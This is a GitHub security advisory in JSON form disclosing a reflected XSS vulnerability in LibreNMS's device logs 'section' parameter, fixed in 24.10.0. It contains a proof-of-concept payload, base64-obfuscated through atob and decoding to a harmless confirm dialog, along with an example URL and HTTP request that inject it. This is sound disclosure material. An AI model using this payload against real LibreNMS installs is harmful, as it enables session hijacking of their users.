{"id":"GHSA-v7w9-63xh-6r3w","summary":"LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php","details":"### Summary\nA Reflected Cross-Site Scripting (XSS) vulnerability in the \"section\" parameter of the \"logs\" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious \"section\" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the \"report_this()\" function.\n\n### Details\nThe \"section\" parameter of the \"logs\" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the \"section\" parameter:\n```\u003cscript\u003econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();\u003c%2fscript\u003e```\n\nWhen the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the \"report_this()\" function. Other endpoints using this same function may also be vulnerable.\n\nThe vulnerable sink is located here:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93\n\n### PoC\n1. Inject the following payload into the \"section\" parameter of the \"logs\" tab:\n```\u003cscript\u003econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();\u003c%2fscript\u003e```\n2. Access the page with the injected payload.\n3. Observe that the injected script executes when the page is loaded.\n\nExample URL: ```http://\u003cyour_url\u003e/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/```\n\nExample Request:\n```http\nGET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1\nHost: \u003cyour_host\u003e\nCookie: \u003cyour_cookie\u003e\n```\n\n### Impact\n\nThis vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.\n","aliases":["CVE-2024-50351"],"modified":"2024-11-15T21:08:31.658941Z","published":"2024-11-15T15:34:36Z","database_specific":{"nvd_published_at":"2024-11-15T16:15:35Z","cwe_ids":["CWE-79"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-11-15T15:34:36Z"},"references":[{"type":"WEB","url":"https://github.com/librenms/librenms/security/advisories/GHSA-v7w9-63xh-6r3w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-50351"},{"type":"WEB","url":"https://github.com/librenms/librenms/commit/6a14a9bd767c6e452e4df77a24126c3eeb93dcbf"},{"type":"PACKAGE","url":"https://github.com/librenms/librenms"}],"affected":[{"package":{"name":"librenms/librenms","ecosystem":"Packagist","purl":"pkg:composer/librenms/librenms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24.10.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 24.9.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-v7w9-63xh-6r3w/GHSA-v7w9-63xh-6r3w.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L"}]}